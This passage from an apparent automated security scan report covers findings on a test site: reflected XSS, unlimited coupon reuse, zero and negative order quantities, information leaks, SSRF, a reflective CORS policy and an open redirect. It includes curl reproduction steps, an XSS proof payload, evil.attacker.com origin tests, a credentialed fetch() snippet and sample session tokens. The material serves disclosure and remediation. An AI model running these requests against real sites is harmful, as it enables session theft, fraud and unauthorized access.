The attack requires no privileges and only passive user interaction (clicking a link). JavaScript executes in the victim's browser, compromising confidentiality and integrity of the user's session on the subsequent system. CVSS 4.0 metrics reflect network access, low complexity, no privileges, passive user interaction, and high subsequent-system confidentiality and integrity impact, yielding a High severity rating.

DISCOVERY & EXPLOITATION

The `/search` endpoint reflects the `q` query parameter directly into the HTML response body, inserting the raw value inside an `<h2>` element without HTML encoding. Because the server performs no sanitization before rendering the parameter into the page, any HTML or JavaScript syntax supplied in `q` is treated as markup rather than text. Validation confirmed this by injecting `<script>window.reflected_xss_proof=7777</script>` and observing the literal tag present in the response body; a control request with a benign query produced no such tag. The absence of a `Content-Security-Policy` header means the browser imposes no additional barrier to inline script execution.

Unlike the stored XSS siblings in this report, this vulnerability is reflected: exploitation requires delivering a crafted URL to a target. An unauthenticated attacker substitutes the proof-of-concept payload with a script that exfiltrates the `mgl_session` cookie to an attacker-controlled host, then distributes the link via

phishing, a redirector, or a third-party site that embeds the URL. Because the attack requires no account and no prior access to the application, the potential victim pool is every user of the platform.

IMPACT

An attacker can craft a link that executes arbitrary JavaScript in a victim's browser session. This allows theft of the mgl_session cookie (which lacks the Secure flag), session hijacking, credential harvesting, or actions on behalf of the victim. The attack requires no authentication and targets any user who clicks the link.

REMEDIATION

1. HTML-encode all user-supplied values before inserting them into HTML output. Use a template engine's auto-escaping feature (e.g., Jinja2 `{{ q | e }}` or `markupsafe.escape()`).
2. Add a `Content-Security-Policy` response header with `script-src 'self'` to block inline script execution as a defense-in-depth measure.
3. Validate or sanitize the `q` parameter on the server side, rejecting or stripping HTML tags that are not expected in a search query.
4. Set the `X-Content-Type-Options: nosniff` header to prevent MIME-type sniffing.
5. Integrate automated XSS scanning (e.g., semgrep rules for unescaped template variables) into the CI pipeline to catch output-encoding gaps before deployment.

INV-48

Unlimited Coupon Reuse in coupon_code Parameter

MEDIUM

SEVERITY	CATEGORY	CWE
Medium	Insecure Design	CWE-840

ENDPOINT

`https://marginalia.testinvicti.com/api/orders`

PARAMETER	CVSS 4.0
`coupon_code:unlimited-reuse`	5.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The order creation endpoint at POST /api/orders accepts a `coupon_code` field in the JSON body. The server applies the WELCOME coupon discount on every order without enforcing a per-user or global usage limit. A single authenticated user created three consecutive orders (IDs 89, 90, 91) with `coupon_code` set to `WELCOME`. Each order received a discounted total of 1275 cents instead of the full price of 1499 cents. A control order without the coupon returned the expected 1499 cents. The server does not track prior coupon redemptions for the user. Any authenticated user can apply this coupon on every purchase indefinitely.

EVIDENCE

Payload used:

```
{"book_id": 1, "quantity": 1, "coupon_code": "WELCOME"}
```

Observed:

```
POST /api/orders with {"book_id":1,"quantity":1,"coupon_code":"WELCOME"} returns
{"total_cents":1275} every time. Normal price is 1499 (discount of ~15%). The same user
applied WELCOME coupon on 3 consecutive orders and received the discount each time:
order 89 total_cents=1275, order 90 total_cents=1275, order 91 total_cents=1275. The
coupon has no per-user or per-order usage limit. Any user can apply it unlimited times
for a perpetual 15% discount on all purchases.
```

HTTP TRANSACTION

REQUEST

```
POST /api/orders HTTP/1.1
Host: marginalia.testinvicti.com
Content-Type: application/json
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjIyOTMsInJvbGUiOiJtZW1iZXIiLCJpYXQiOjE3OT
M2NjI2MzAsImV4cCI6MTc5Mzc0OTAzMH0.OeMX7GXoz1E_R32paxToN2xKEr6xOAR5dJqc5NosXYA

{"book_id":1,"quantity":1,"coupon_code":"WELCOME"}
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 45

{"id":104,"total_cents":1275,"status":"paid"}
```

STEPS TO REPRODUCE

1. Authenticate as a regular user and obtain a Bearer token. Send the first order with the WELCOME coupon:

   ```
   curl -X POST https://marginalia.testinvicti.com/api/orders \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer <your_token>" \
     -d '{"book_id": 1, "quantity": 1, "coupon_code": "WELCOME"}'
   ```

   The server responds with a 200 status and a discounted `total_cents` value (e.g., 1275 instead of 1499).

2. Send the same request a second time with the same user token and the same coupon code:

   ```
   curl -X POST https://marginalia.testinvicti.com/api/orders \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer <your_token>" \
     -d '{"book_id": 1, "quantity": 1, "coupon_code": "WELCOME"}'
   ```

   The server again responds with the discounted `total_cents` value, confirming the coupon was accepted a second time.

3. Send the same request a third time:

   ```
   curl -X POST https://marginalia.testinvicti.com/api/orders \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer <your_token>" \
     -d '{"book_id": 1, "quantity": 1, "coupon_code": "WELCOME"}'
   ```

   The server responds with the same discounted total. The WELCOME coupon is accepted without limit.

4. Send a control order without the coupon to confirm the discount is not the default price:

   ```
   curl -X POST https://marginalia.testinvicti.com/api/orders \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer <your_token>" \
     -d '{"book_id": 1, "quantity": 1}'
   ```

   The server responds with the full `total_cents` value (e.g., 1499), confirming the coupon provides a real discount that is reusable without restriction.

SEVERITY JUSTIFICATION

The vulnerability requires low privileges (any authenticated user) and no user interaction. It affects integrity by allowing unauthorized price manipulation. Confidentiality and availability are not affected. The CVSS 4.0 vector scores in the low-to-medium range. Medium severity is appropriate because the financial impact is real but bounded by the fixed 15% discount rate.

DISCOVERY & EXPLOITATION

The vulnerability exists because the order creation handler applies the WELCOME coupon discount without consulting any redemption history. The server evaluates the `coupon_code` field in isolation at the time of each request, reducing the order total from 1499 cents to 1275 cents, but never records that the coupon has been used by the requesting user. There is no per-user usage counter, no global redemption cap, and no state check against prior orders, meaning the discount condition is satisfied unconditionally on every submission.

Unlike sibling vulnerabilities in this class that require price or quantity manipulation, this vector requires no parameter tampering at all. An authenticated user submits structurally valid orders and receives the discount legitimately on each one. Automated order placement with the WELCOME code applied on every request scales this into a systematic revenue drain, with no server-side mechanism to detect or interrupt the pattern.

IMPACT

An attacker receives a permanent 15% discount on all purchases. This causes direct revenue loss on every order placed with the coupon. At scale, automated order placement with the coupon drains business revenue without limit.

REMEDIATION

1. Track coupon redemptions per user in the database and reject the coupon when the user exceeds the allowed usage count.
2. Add a `max_uses_per_user` column to the coupon table and enforce it in the order creation handler before applying the discount.
3. Return a clear error response (e.g., 422 with `"coupon already redeemed"`) when a user attempts to reuse a single-use coupon.
4. Add integration tests that verify a coupon with a per-user limit of 1 is rejected on the second order.
5. Implement a centralized coupon validation service that enforces all business rules before discount application.

INV-49

Insecure Design in Order quantity Parameter

MEDIUM

SEVERITY	CATEGORY	CWE
Medium	Insecure Design	CWE-20

ENDPOINT

`https://marginalia.testinvicti.com/api/orders`

PARAMETER

`quantity:zero-value-accepted`

CVSS 4.0

7.1 `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N`

VULNERABILITY DESCRIPTION

The POST /api/orders endpoint accepts a zero or negative value in the `quantity` field without validation. The server creates a fully paid order with `total_cents` computed as the product of the book price and the supplied quantity. A request with `quantity: 0` produces an order with `total_cents: 0` and `status: paid`. A request with `quantity: -1` produces an order with `total_cents: -1899` and `status: paid`. The API does not enforce a minimum quantity of 1. This means any authenticated user can create orders that bypass payment or generate negative-value transactions.

EVIDENCE

Payload used:

```
{"book_id": 3, "quantity": 0}
```

Observed:

```
POST /api/orders with {"book_id":3,"quantity":0} returns
{"id":126,"total_cents":0,"status":"paid"}. The server accepts quantity=0 and creates a
paid order with total_cents=0. A zero-quantity order has no business meaning but is
treated as a valid paid order.
```

HTTP TRANSACTION

REQUEST

```
POST /api/orders HTTP/1.1
Host: marginalia.testinvicti.com
Content-Type: application/json
Authorization: Bearer eyJhbGci...YWKAM5H10bQykNPLsh0_rrXjMYbwTsmxEXeU2p5YRt4

{"book_id":3,"quantity":0}
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 42

{"id":127,"total_cents":0,"status":"paid"}
```

STEPS TO REPRODUCE

1. Authenticate as any member user and obtain a valid JWT Bearer token.
2. Send a POST request with zero quantity to create a zero-cost order:

   ```
   curl -L -X POST https://marginalia.testinvicti.com/api/orders \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer <your_jwt_token>" \
     -d '{"book_id": 3, "quantity": 0}'
   ```

   The server responds with HTTP 200 and a JSON body containing `"total_cents": 0` and `"status": "paid"`, confirming a zero-cost paid order was created.
3. Send a POST request with negative quantity to create a negative-total order:

   ```
   curl -L -X POST https://marginalia.testinvicti.com/api/orders \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer <your_jwt_token>" \
     -d '{"book_id": 3, "quantity": -1}'
   ```

   The server responds with HTTP 200 and a JSON body containing `"total_cents": -1899` and `"status": "paid"`, confirming a negative-value paid order was created.
4. Send a POST request with a normal quantity as a control:

   ```
   curl -L -X POST https://marginalia.testinvicti.com/api/orders \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer <your_jwt_token>" \
     -d '{"book_id": 3, "quantity": 1}'
   ```

   The server responds with HTTP 200 and `"total_cents": 1899`, confirming the book costs $18.99 per unit and the zero/negative orders bypassed this cost.

SEVERITY JUSTIFICATION

The vulnerability requires low privileges (any authenticated user) and no user interaction. It directly compromises data integrity by allowing fraudulent zero-cost and negative-cost orders. Confidentiality and availability are not affected. The CVSS 4.0 vector yields a medium-range score consistent with the financial integrity impact.

DISCOVERY & EXPLOITATION

The `POST /api/orders` endpoint computes `total_cents` by multiplying the book's unit price by the caller-supplied `quantity` value, with no server-side constraint enforcing a minimum of 1. Because the arithmetic is performed directly on the unvalidated input, supplying `quantity: 0` drives the computed total to exactly zero, and the order is immediately persisted with `status: paid` — no payment step is gated on a positive total. Supplying a negative integer inverts the arithmetic, producing a negative `total_cents` that the server also accepts and marks paid, creating a transaction that resembles a refund or credit entry in the order ledger.

Where sibling INV-18 exploits floating-point truncation and INV-4 substitutes a client-supplied unit price, this vector requires no numeric manipulation beyond a single integer boundary: zero or below. An authenticated attacker automates `POST /api/orders` with `quantity: 0` in a tight loop, acquiring paid order records for any book in the catalog at no cost. The negative-quantity variant is more disruptive: repeated submissions accumulate negative-total orders that, depending on downstream accounting or fulfillment logic, could be processed as refunds, distorting financial records independently of any wallet or coupon mechanism.

IMPACT

An attacker can create zero-cost paid orders, obtaining items without payment. Negative-quantity orders produce negative totals that could represent credits or refunds. This undermines revenue integrity and corrupts order records. Automated exploitation can generate large volumes of fraudulent orders.

REMEDIATION

1. Validate the `quantity` parameter on the server side to reject values less than 1 using a constraint such as `quantity >= 1`.
2. Validate `total_cents` before persisting the order to ensure it is a positive integer consistent with the book price multiplied by the quantity.
3. Return a 422 Unprocessable Entity response with a descriptive error when `quantity` is zero, negative, or non-integer.
4. Add integration tests that assert the API rejects `quantity: 0` and `quantity: -1` with an error status.
5. Adopt a schema validation library such as Pydantic with `Field(ge=1)` constraints to enforce business rules at the input boundary.

INV-50

Information Disclosure in Status Endpoint

MEDIUM

SEVERITY	CATEGORY	CWE
Medium	Information Disclosure	CWE-200

ENDPOINT

`https://marginalia.testinvicti.com/api/_status`

CVSS 4.0

6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The /api/_status endpoint returns sensitive internal details without requiring authentication. The response includes the internal hostname (mgl-app-01.internal), the full database file path (/var/lib/marginalia/marginalia.db), the application version and git commit hash, the Python runtime version, and administrator email addresses. An attacker can retrieve all of this information with a single unauthenticated GET request. The /healthz endpoint, by contrast, returns only a generic status message. This confirms the status endpoint exposes data beyond what is needed for health monitoring.

EVIDENCE

Observed:

```
Unauthenticated access to /api/_status returns: service name, version "3.4.8-reset-chain", commit "d6fa4b0", database path "/var/lib/marginalia/marginalia.db", internal hostname "mgl-app-01.internal", Python version, and admin emails ["ops@marginalia.club","rhys@marginalia.club"].
```

HTTP TRANSACTION

REQUEST

```
GET /api/_status HTTP/1.1
Host: marginalia.testinvicti.com
Accept: */*
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 219

{"service":"marginalia-api","version":"3.4.8-reset-chain","commit":"d6fa4b0","db":"/var/lib/marginalia/marginalia.db","host":"mgl-app-01.internal","python":"3.12","admins":["ops@marginalia.club","rhys@marginalia.club"]}
```

STEPS TO REPRODUCE

1. Send an unauthenticated GET request to the status endpoint:

```
curl -s https://marginalia.testinvicti.com/api/_status
```

The server responds with HTTP 200 and a JSON body containing the internal hostname `mgl-app-01.internal`, database path `/var/lib/marginalia/marginalia.db`, admin emails, version, commit hash, and Python version.

2. Compare with the health check endpoint to confirm the disclosure is specific to `/api/_status`:

```
curl -s https://marginalia.testinvicti.com/healthz
```

The server responds with only `{"status":"ok"}`, confirming that the `/healthz` endpoint does not leak internal details.

SEVERITY JUSTIFICATION

The endpoint is network-accessible with no authentication, no complexity, and no user interaction (AV:N/AC:L/AT:N/PR:N/UI:N). It discloses internal infrastructure details and admin emails but does not expose user credentials or allow modification (VC:L/VI:N/VA:N). The disclosed data aids further attacks but does not constitute a direct compromise, warranting medium severity.

DISCOVERY & EXPLOITATION

Unlike the sibling disclosures, which leak data through parameter handling or response filtering failures, this vulnerability requires no parameter interaction at all. The `/api/_status` endpoint returns a fully populated JSON object to any unauthenticated caller, with no authentication check, no rate limiting signal, and no conditional logic gating the sensitive fields. The application appears to have been designed with the status endpoint serving an operational monitoring role, but no access control was applied to distinguish internal monitoring consumers from the public internet. The contrast with `/healthz`, which returns only `{"status":"ok"}`, confirms the disclosure is not incidental to the endpoint's purpose but a deliberate design choice that was never hardened for production exposure.

An unauthenticated attacker issuing a single GET request receives the internal hostname `mgl-app-01.internal`, the absolute database path `/var/lib/marginalia/marginalia.db`, the precise application version and git commit hash, the Python runtime version, and 2 named administrator email addresses. This output directly feeds reconnaissance for other attack chains present in this assessment: the hostname and database path reduce the guesswork required to craft SSRF or path traversal payloads, the commit hash pins the exact deployed build for known-vulnerability lookups, and the administrator addresses are ready-made targets for credential phishing or password reset abuse.

IMPACT

An attacker gains the internal hostname, database path, software versions, and admin email addresses. This information enables targeted phishing against named administrators. The database path and hostname assist in crafting path traversal or server-side request forgery attacks. Exposed version and commit details let an attacker identify known vulnerabilities in the exact deployed build.

REMEDIATION

1. Restrict the `/api/_status` endpoint to authenticated users with an administrative role, or remove it from production entirely.
2. Move internal diagnostics (database path, hostname, commit hash, admin emails) to a separate admin-only endpoint that requires strong authentication.
3. If a public health check is needed, limit its response to a simple status indicator such as `{"status":"ok"}`, matching the existing `/healthz` endpoint.
4. Strip version headers and detailed error information from all production responses.
5. Add an automated CI check that flags any endpoint returning internal hostnames, file paths, or email addresses without authentication.

INV-51

Information Disclosure in invite_code via Clubs Listing

MEDIUM

SEVERITY	CATEGORY	CWE
Medium	Information Disclosure	CWE-200

ENDPOINT

`https://marginalia.testinvicti.com/api/clubs`

PARAMETER	CVSS 4.0
invite_code	6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The GET /api/clubs endpoint returns all clubs without requiring authentication. The response includes clubs with visibility set to "private", along with their invite_code values. For example, the private club "Marginalia Staff Room" (id 3, owner_id 1) exposes its invite_code "staff-only-9f2c". The application has a POST /api/clubs/{club_id}/join endpoint that accepts invite codes. An unauthenticated attacker can harvest these codes and use them to join private clubs. The endpoint does not filter clubs by visibility or strip sensitive fields for unauthenticated callers.

EVIDENCE

Observed:

```
GET /api/clubs returns all clubs including private ones. The response includes: private club 'Marginalia Staff Room' (visibility: 'private') with invite_code 'staff-only-9f2c', and all other clubs' invite codes.
```

HTTP TRANSACTION

REQUEST

```
GET /api/clubs HTTP/1.1
Host: marginalia.testinvicti.com
Accept: */*
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 847

{"clubs":[{"id":4,"owner_id":5,"name":"Maritime & Mutiny","description":"Shipwrecks, logs and the sea. Currently reading The Wager.","visibility":"public","invite_code":"belowdecks","created_at":1700000000},{"id":3,"owner_id":1,"name":"Marginalia Staff Room","description":"Internal club for staff — moderation notes, auction prep, member escalations.","visibility":"private","invite_code":"staff-only-
```

```
9f2c","created_at":1700000000},
[... truncated ...]
```

STEPS TO REPRODUCE

1. Send a GET request to the clubs endpoint without any authentication:

   ```
   curl -s https://marginalia.testinvicti.com/api/clubs
   ```

   The server responds with HTTP 200 and a JSON array containing all clubs, including private ones.

2. Inspect the response body for the club with `"visibility":"private"`. The club "Marginalia Staff Room" (id 3) appears with `"invite_code":"staff-only-9f2c"` and `"owner_id":1`. All other clubs also expose their invite codes.

SEVERITY JUSTIFICATION

The endpoint requires no authentication or privileges (PR:N, UI:N) and exposes private club data including functional invite codes. Confidentiality impact is limited (VC:L) because the leaked data is restricted to club metadata and invite codes rather than highly sensitive personal data. The invite codes enable joining private clubs, which escalates the impact beyond simple information leakage, justifying medium severity.

DISCOVERY & EXPLOITATION

The `GET /api/clubs` endpoint applies no authentication gate and performs no visibility filtering before serializing club records to the response. The API serializer returns the full club object for every record in the database, including clubs marked `visibility: "private"`, and includes the `invite_code` field without restriction. The root cause is an absent response-schema allowlist: the serializer emits every stored field to every caller regardless of authentication state or club membership.

Unlike the sibling information disclosure vulnerabilities, the leaked data here is directly weaponizable without any secondary research step. An unauthenticated attacker harvests invite codes from the listing response and immediately submits them to `POST /api/clubs/{club_id}/join`, gaining membership in private clubs. The "Marginalia Staff Room" club (id 3, invite code `staff-only-9f2c`) is the highest-value target: its description explicitly references moderation notes, auction preparation details, and member escalation data, meaning the invite code functions as an unauthenticated credential to internal operational content.

IMPACT

An attacker can read invite codes for all clubs, including private ones. The attacker can then join private clubs such as "Marginalia Staff Room", which contains internal staff content. This grants access to moderation notes, auction preparation details, and member escalation data. Owner IDs are also exposed, linking club ownership to specific user accounts.

REMEDIATION

1. Restrict `GET /api/clubs` to return only public clubs for unauthenticated users and clubs the authenticated user belongs to.
2. Remove `invite_code` from the list response for all clubs. Return it only to the club owner or through a dedicated owner-only endpoint.
3. Filter out clubs with `visibility: "private"` from the public listing entirely.
4. Add authentication checks so that private club details require membership or ownership.
5. Adopt a response-schema allowlist pattern in the API serializer to prevent future field leakage.

INV-52

Server-Side Request Forgery in host Parameter

MEDIUM

SEVERITY	CATEGORY	CWE
Medium	Server-Side Request Forgery	CWE-918

ENDPOINT

`https://marginalia.testinvicti.com/api/admin/diagnostics`

PARAMETER	CVSS 4.0
host	6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N

VULNERABILITY DESCRIPTION

The /api/admin/diagnostics endpoint accepts a `host` parameter and makes server-side HTTP requests to the supplied URL. The server fetches the remote resource and returns its content in the JSON response body. This endpoint requires no authentication. The application blocks loopback addresses, private IP ranges, link-local addresses, and the file:// scheme. However, the server still fetches arbitrary external URLs and returns their full response content. An attacker can use the server as an open proxy to reach external services from the server's network identity.

EVIDENCE

Observed:

```
Scanner details:
URL encoded GET input <strong><span class="bb-dark">host</span></strong> was set to
<strong><span class="bb-dark">Http://bxss.me/t/fit.txt</span></strong><br/><br/>
Pattern found: <pre><span class="bb-
blue">63c19a6da79816b21429e5bb262daed863c19a6da79816b21429e5bb262daed8</span></pre>
```

HTTP TRANSACTION

REQUEST

```
GET /api/admin/diagnostics?host=Http://bxss.me/t/fit.txt HTTP/1.1
Host: marginalia.testinvicti.com
Accept: application/json;q=0.9, application/xml;q=0.8, */*;q=0.1
Cookie: mgl_session=0c2990bdfae142168c9f7d4c9fdbca3d
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 197

{"host":"Http://bxss.me/t/fit.txt","reachable":true,"status_code":200,"content_type":"t
```

ext/plain","location":"","bytes":64,"body":"63c19a6da79816b21429e5bb262daed863c19a6da79816b21429e5bb262daed8"}

STEPS TO REPRODUCE

1. Send a GET request to the diagnostics endpoint with an external URL in the `host` parameter:

   ```
   curl -sk 'https://marginalia.testinvicti.com/api/admin/diagnostics?host=Http://bxss.me/t/fit.txt' -H 'Accept: application/json'
   ```

   The server responds with HTTP 200 and a JSON body containing the fetched content: `63c19a6da79816b21429e5bb262daed8` repeated twice. This confirms the server made an outbound HTTP request to the attacker-controlled URL and returned the response body.

2. Verify the endpoint requires no authentication by sending the same request without any session cookie:

   ```
   curl -sk 'https://marginalia.testinvicti.com/api/admin/diagnostics?host=http://example.com' -H 'Accept: application/json'
   ```

   The server responds with HTTP 200 and returns the fetched content from example.com, confirming unauthenticated access.

3. Confirm that some mitigations exist by testing internal addresses:

   ```
   curl -sk 'https://marginalia.testinvicti.com/api/admin/diagnostics?host=http://127.0.0.1' -H 'Accept: application/json'
   ```

   The server responds with HTTP 400 and the message "destination refused: loopback port 80 is not reachable from here". Loopback and private ranges are blocked, but external SSRF remains exploitable.

SEVERITY JUSTIFICATION

The endpoint allows unauthenticated external SSRF with full response disclosure. Internal network access is blocked by denylist filters, which limits the impact to external targets. The CVSS vector reflects no privileges required and low confidentiality impact on both the vulnerable and subsequent systems, with no integrity or availability impact. Medium severity is appropriate because the partial mitigations prevent the most damaging SSRF scenarios.

DISCOVERY & EXPLOITATION

The `/api/admin/diagnostics` endpoint accepts a `host` parameter and passes the supplied value directly to a server-side HTTP client, which fetches the target URL and returns the full response body in the JSON reply. The vulnerability exists because the application treats the `host` parameter as a trusted destination rather than validating it against a controlled allowlist. A denylist blocks loopback addresses, RFC 1918 private ranges, link-local addresses, and the `file://` scheme, but this control is bypassable through external targets and does not prevent the server from acting as an open HTTP proxy. The endpoint requires no authentication, meaning any internet-accessible client can trigger outbound requests from the server's network identity.

An unauthenticated attacker weaponizes this by supplying URLs pointing to services that enforce IP-based access controls, effectively laundering requests through the server's trusted IP address. For example, cloud provider metadata endpoints protected by network perimeter rules, third-party APIs that whitelist the application server's IP, or internal services reachable from the server's network segment but not from the public internet become accessible. Because the full response body is returned to the caller, the attacker receives the complete content of any fetched resource, enabling data exfiltration through the server as an intermediary. The absence of authentication amplifies the attack surface to the entire internet rather than limiting exposure to authenticated or privileged users.

IMPACT

An attacker can force the server to make HTTP requests to arbitrary external hosts. This allows the attacker to bypass IP-based access controls on third-party services by originating requests from the server's IP address. The attacker can scan external ports, exfiltrate data through the server, or abuse the server's trusted network position. The unauthenticated endpoint amplifies the risk because any internet user can trigger these requests. The response body disclosure means the attacker receives the full content of fetched resources.

REMEDIATION

1. Require authentication and authorization on the `/api/admin/diagnostics` endpoint. Restrict access to administrator roles only.
2. Implement a strict allowlist of permitted destination hosts or domains instead of relying on a denylist of blocked addresses.
3. Remove the `body` field from the JSON response to prevent the server from acting as a content proxy. Return only reachability metadata such as status code and content type.
4. Validate that DNS resolution of the `host` parameter does not resolve to internal or reserved IP ranges after following redirects, to prevent DNS rebinding attacks.
5. Adopt a library-level SSRF protection mechanism (such as `ssrf-filter` or equivalent) in the HTTP client to enforce these restrictions consistently.

INV-53

CORS Misconfiguration

MEDIUM

SEVERITY	CATEGORY	CWE
Medium	Security Misconfiguration	CWE-942

ENDPOINT

`https://marginalia.testinvicti.com/`

CVSS 4.0

5.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

VULNERABILITY DESCRIPTION

The application reflects any Origin header value in the Access-Control-Allow-Origin response header. It also sets Access-Control-Allow-Credentials to true on every API response. This combination allows any external website to send credentialed cross-origin requests and read the responses. The server does not validate the Origin against an allowlist. Testing with Origin values such as https://evil.attacker.com and https://totally-random-domain-12345.com confirmed that both are reflected verbatim. The Vary: Origin header is present, but it does not prevent exploitation because the server accepts all origins.

EVIDENCE

Observed:

```
Scanner details:
Access-Control-Allow-Origin: <strong><span class="bb-
dark">https://www.example.com</span></strong><br/> Access-Control-Allow-Credentials:
<strong><span class="bb-dark">true</span></strong><br/><strong>Any origin is accepted
(arbitrary Origin header values are reflected in Access-Control-Allow-Origin response
headers).</strong>
```

HTTP TRANSACTION

REQUEST

```
GET /api/attachments/ HTTP/1.1
Origin: https://www.example.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36
Host: marginalia.testinvicti.com
```

RESPONSE

```
HTTP/1.1 404 Not Found
Content-Type: application/json
access-control-allow-origin: https://www.example.com
access-control-allow-credentials: true
access-control-allow-headers: Authorization, Content-Type
access-control-allow-methods: GET, POST, PATCH, DELETE, OPTIONS
```

```
vary: Origin
Content-Length: 22

{"detail":"Not Found"}
```

STEPS TO REPRODUCE

1. Send a GET request to the API endpoint with an arbitrary Origin header:

   ```
   curl -s -D- -H "Origin: https://evil.attacker.com"
   "https://marginalia.testinvicti.com/api/attachments/"
   ```

   The response contains `access-control-allow-origin: https://evil.attacker.com` and `access-control-allow-credentials: true`, confirming the server reflects the attacker-controlled origin.

2. Repeat the request with a different arbitrary origin to confirm there is no allowlist:

   ```
   curl -s -D- -H "Origin: https://totally-random-domain-12345.com"
   "https://marginalia.testinvicti.com/api/"
   ```

   The response again reflects the supplied origin in `access-control-allow-origin` with `access-control-allow-credentials: true`.

3. Confirm exploitation by hosting a page with JavaScript that reads the response. A script such as `fetch('https://marginalia.testinvicti.com/api/attachments/', {credentials: 'include'}).then(r => r.text()).then(console.log)` on any domain will receive the full API response when an authenticated user visits the page.

SEVERITY JUSTIFICATION

The CVSS 4.0 vector scores 5.1 (medium). Exploitation requires user interaction (visiting a malicious page), which limits the attack surface. The confidentiality and integrity impact on both the vulnerable and subsequent systems is low because the attacker reads and modifies data only within the victim's session scope. No availability impact exists.

DISCOVERY & EXPLOITATION

The vulnerability exists because the server's CORS implementation reflects the incoming `Origin` header value directly into the `Access-Control-Allow-Origin` response header without validating it against any allowlist. This behavior, combined with a static `Access-Control-Allow-Credentials: true` header on every API response, violates the browser's same-origin policy protections entirely: the browser will attach the victim's session cookies to cross-origin requests and permit the attacker's JavaScript to read the full response body. Testing confirmed that arbitrary origin values, including `https://evil.attacker.com` and `https://totally-random-domain-12345.com`, are reflected verbatim, demonstrating that no origin validation logic exists.

A malicious actor would host a page that silently issues credentialed `fetch()` or `XMLHttpRequest` calls to the application's API endpoints the moment a logged-in user visits. Because the server also advertises `POST`, `PATCH`, and `DELETE` in `Access-Control-Allow-Methods`, the attacker is not limited to read-

only access. A realistic attack chain targets authenticated API endpoints to harvest account details, personal data, or session-scoped content, and can equally submit state-changing requests, such as modifying account settings or initiating transactions, all without any indication to the victim.

IMPACT

An attacker who hosts a malicious page can make authenticated API requests to the application on behalf of any visitor. The browser sends the victim's cookies with the request, and the attacker's JavaScript can read the full response. This allows theft of personal data, account details, and any content accessible through the API. The attacker can also perform state-changing actions such as POST, PATCH, and DELETE requests, because the server advertises those methods in Access-Control-Allow-Methods.

REMEDIATION

1. Replace the origin-reflecting logic with a strict allowlist of trusted origins. Only return `Access-Control-Allow-Origin` when the request Origin matches an entry in the list.
2. Never combine a wildcard or reflected origin with `Access-Control-Allow-Credentials: true`. Remove the credentials header for origins not on the allowlist.
3. Restrict `Access-Control-Allow-Methods` to only the HTTP methods each endpoint requires, rather than advertising GET, POST, PATCH, DELETE, and OPTIONS globally.
4. Restrict `Access-Control-Allow-Headers` to only the headers each endpoint requires, such as `Content-Type` for JSON endpoints.
5. Add automated CORS policy tests to the CI pipeline to prevent regressions, for example using a linter or integration test that sends requests with untrusted Origin values and asserts they are rejected.

INV-54

Open Redirect in to Parameter

MEDIUM

SEVERITY	CATEGORY	CWE
Medium	Redirect	CWE-601

ENDPOINT

`https://marginalia.testinvicti.com/go`

PARAMETER	CVSS 4.0
to	5.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The /go endpoint accepts a `to` query parameter and issues a 302 redirect to its value without any validation. The server does not check whether the target URL belongs to the application domain. An attacker can craft a link such as `https://marginalia.testinvicti.com/go?to=//evil.example.com` that redirects the victim's browser to an arbitrary external domain. Both protocol-relative URLs (`//evil.example.com`) and fully qualified URLs (`https://attacker.example.com/phish`) are accepted. The browser follows the redirect and lands on the attacker-controlled site.

EVIDENCE

Payload used:

```
//evil.example.com
```

Observed:

```
HTTP/1.1 302 Found with location: //evil.example.com — the server redirects to any
arbitrary external URL provided in the `to` parameter without validation.
```

HTTP TRANSACTION

REQUEST

```
GET /go?to=//evil.example.com HTTP/1.1
Host: marginalia.testinvicti.com
Accept: */*
Cookie: mgl_session=0c2990bdfae142168c9f7d4c9fdbca3d
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36
```

RESPONSE

```
HTTP/1.1 302 Found
Date: Mon, 02 Nov 2026 21:19:13 GMT
Content-Length: 0
location: //evil.example.com
```

STEPS TO REPRODUCE

1. Send a GET request to the `/go` endpoint with an external protocol-relative URL in the `to` parameter:

   ```
   curl -s -D- -o /dev/null 'https://marginalia.testinvicti.com/go?
   to=//evil.example.com'
   ```

   The server responds with HTTP 302 and a `location: //evil.example.com` header, redirecting the browser to the external domain.

2. Verify the redirect also works with a fully qualified external URL:

   ```
